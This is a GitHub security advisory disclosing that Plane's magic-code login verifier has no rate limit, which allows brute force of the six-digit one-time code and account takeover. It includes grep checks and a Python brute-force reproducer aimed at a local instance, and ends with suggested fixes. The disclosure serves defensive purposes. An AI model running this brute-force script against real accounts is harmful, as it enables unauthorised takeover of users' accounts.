Skip to content

Magic-code verifier endpoint has no rate limit, enabling 6-digit OTP brute force

Critical
mguptahub published GHSA-mqjv-rwgv-4gxq Aug 3, 2026

Software

makeplane/plane

Affected versions

<= 1.3.1

Patched versions

1.4.0

Description

Disclosure: Plane — Magic-code verifier endpoint has no rate limit, enabling 6-digit OTP brute force

To: security@plane.so — or github.com/makeplane/plane/security/advisories/new
Subject: [Security] Magic-code verifier endpoint has no rate limit — pre-auth ATO via 6-digit OTP brute force
Severity: HIGH (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N9.1)
Affected versions: makeplane/plane — all versions through current preview/main (HEAD 50a7b47b).
Reporter: Philip Shteyn, CTO, offroad.ai (philip@offroad.ai)
Date: 2026-05-15


Summary

Plane's magic-code email login uses a 6-digit numeric OTP (~20 bits of entropy, 1 in 900,000 codes). The verifier endpoint:

  1. Has no per-code failed-attempt counter — a wrong code does not increment any counter, does not invalidate the redis entry, and does not lock out the email.
  2. Extends django.views.View (plain Django), not DRF's APIView — so the project-level DEFAULT_THROTTLE_CLASSES = AnonRateThrottle "30/minute" (configured in settings/common.py) does not apply.
  3. Has no Django-level rate-limit middleware in the stack (no django-ratelimit, no django-axes, no IP throttle middleware).

The generator does enforce a 3-attempt regenerate cap, but that is the wrong half of the problem — the verifier is unbounded. A single-IP attacker covers the full 900K-code space in ~5 hours at 50 req/s, or minutes with HTTP/2 pipelining + distributed IPs. Pre-auth ATO of any Plane account whose email the attacker knows.

(Note: this finding clarifies a prior public-source observation that the bug was at magic_code.py:56 — that line is in the generator, which is rate-limited. The actual unrestricted brute-force surface is in the verifier views, which are outside the throttle envelope.)


Details

Generatorapps/api/plane/authentication/provider/credentials/magic_code.py:54-95:

def initiate(self):
    token = str(secrets.randbelow(900000) + 100000)   # 6-digit
    ri = redis_instance()
    key = "magic_" + str(self.key)
    if ri.exists(key):
        data = json.loads(ri.get(key))
        current_attempt = data["current_attempt"] + 1
        if data["current_attempt"] > 2:
            # raise EMAIL_CODE_ATTEMPT_EXHAUSTED
            ...

The "attempt" counter only increments on regenerate (calls to initiate), not on verify.

Verifierapps/api/plane/authentication/provider/credentials/magic_code.py:97-133:

def set_user_data(self):
    ri = redis_instance()
    if ri.exists(self.key):
        data = json.loads(ri.get(self.key))
        token = data["token"]
        # ...
        if str(token) == str(self.code):
            super().set_user_data({...})
            ri.delete(self.key)
            return
        else:
            # raise INVALID_MAGIC_CODE_SIGN_IN
            ...

On wrong code: the redis entry is not deleted and no counter is incremented.

Verifier viewsapps/api/plane/authentication/views/app/magic.py:61 and :132:

class MagicSignInEndpoint(View):                # plain django.views.View — not DRF
    def post(self, request):
        # ...
        provider = MagicCodeProvider(request=request, key=f"magic_{email}", code=code, ...)
        user = provider.authenticate()

DRF's DEFAULT_THROTTLE_CLASSES (AnonRateThrottle "30/minute") only applies to DRF views. The middleware stack in apps/api/plane/settings/common.py:103-117 contains no Django-level rate limiter.

Same pattern in apps/api/plane/authentication/views/space/magic.py:56, 115.


PoC

  1. Attacker hits POST /auth/magic-generate/ with email=victim@example.com. Code is emailed to victim. Redis key magic_victim@example.com set with {current_attempt: 0, token: NNNNNN}, TTL 600s.
  2. Attacker hits POST /auth/magic-sign-in/ with email=victim@example.com&code=000000. Wrong code returns INVALID_MAGIC_CODE_SIGN_IN. Redis entry survives. No counter.
  3. Attacker scripts the full 900,000-code space. At 50 req/s from a single IP, ~5 hours covers everything (expected hit ~2.5 hours). With distributed IPs / HTTP/2 pipelining, minutes.
  4. No DRF throttle fires (plain View). Verification succeeds → user_login issues session.

The 600s TTL slightly raises the bar, but the regenerate endpoint can be hit up to 3 times per "magic_" key, extending the window to roughly 30 minutes per email — more than enough time to brute force at distributed-IP speed.

Level 0 — Static check (5 seconds)

git clone https://github.com/makeplane/plane && cd plane

# Confirm verifier views extend django.views.View (NOT DRF APIView)
grep -nB2 -A6 'class MagicSignInEndpoint' apps/api/plane/authentication/views/app/magic.py | head -15

# Confirm wrong-code path neither deletes redis nor increments counter
grep -nA 20 'def set_user_data' apps/api/plane/authentication/provider/credentials/magic_code.py | head -30

# Confirm NO django-level rate limit middleware
grep -E 'ratelimit|django_ratelimit|django-axes' apps/api/plane/settings/common.py || \
  echo "VULN: no Django-level rate-limit middleware in settings/common.py"

Expected output on HEAD 50a7b47b: class MagicSignInEndpoint(View) (plain Django, not DRF), set_user_data has no counter increment on wrong code, no Django ratelimit middleware.

Level 1 — Brute-force reproducer against a local Plane instance

# Run Plane locally per its docs (docker-compose -f docker-compose-hub.yml up -d)
# Then this script demonstrates the lack of rate limiting:

python - <<'PY'
import requests, time, concurrent.futures as cf

TARGET = "http://localhost:8000"
VICTIM = "victim@example.com"

# 1) Trigger code generation (this is the only rate-limited endpoint)
requests.post(f"{TARGET}/auth/magic-generate/", json={"email": VICTIM})
print(f"Code emailed to {VICTIM}. Beginning brute force on /auth/magic-sign-in/...")

# 2) Brute-force the verifier — NO rate limit
def attempt(code):
    r = requests.post(
        f"{TARGET}/auth/magic-sign-in/",
        json={"email": VICTIM, "code": f"{code:06d}"},
    )
    return code, r.status_code

start = time.time()
hits = 0
with cf.ThreadPoolExecutor(max_workers=50) as ex:
    for code, status in ex.map(attempt, range(0, 1000)):  # try first 1k as demo
        if status == 200:
            print(f"BUG CONFIRMED — brute force succeeded with code {code:06d}")
            print(f"  Attempts so far: {code+1}")
            print(f"  Elapsed:         {time.time()-start:.1f}s")
            print(f"  Full search space (900K codes) would take ~{(900000/(code+1))*(time.time()-start)/60:.0f} minutes at this rate")
            exit(0)
        hits += 1
print(f"No hit in first 1000 codes. Sustained {hits/(time.time()-start):.0f} req/s with no throttle.")
print(f"Full space brute force feasible: {hits/(time.time()-start)*900:.0f}s ≈ "
      f"{hits/(time.time()-start)*900/60:.0f} minutes for full coverage.")
PY

Expected: either BUG CONFIRMED if you get lucky, or a sustained req/s number proving brute force is unthrottled.

Exploit walkthrough (end-to-end)

  1. Attacker hits POST /auth/magic-generate/ with email=victim@example.com. Code is emailed to victim. Redis key magic_victim@example.com set with {current_attempt: 0, token: NNNNNN}, TTL 600s.

Impact

  • Default config: magic-code email login is the documented passwordless flow.
  • No misconfiguration of Plane.
  • No MITM, no IdP compromise, no victim-mailbox control.
  • The exploit requires only knowing the victim's email address.

Suggested fix

Three independent fixes, any of which closes the bug; all three together are recommended:

1. Increment a failed_attempts counter on wrong code; reject after N (5 is reasonable):

# In set_user_data, the else branch:
data["failed_attempts"] = data.get("failed_attempts", 0) + 1
if data["failed_attempts"] >= 5:
    ri.delete(self.key)
    raise ATTEMPTS_EXHAUSTED
ri.set(self.key, json.dumps(data), ex=ri.ttl(self.key))

2. Move verifier views to DRF APIView so DEFAULT_THROTTLE_CLASSES applies; or add a @method_decorator(ratelimit(...)) decorator with a tight per-email and per-IP cap.

3. Increase code entropy. A 6-digit code with a 10-minute TTL is the absolute floor of what NIST 800-63B permits (and it explicitly requires a strict failed-attempt cap, which is the bug here). Consider 8-digit codes — adds 6.6 bits, brings brute-force back to days at distributed speed.

Reporter

Philip Shteyn
CTO, offroad.ai
Email: philip@offroad.ai

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits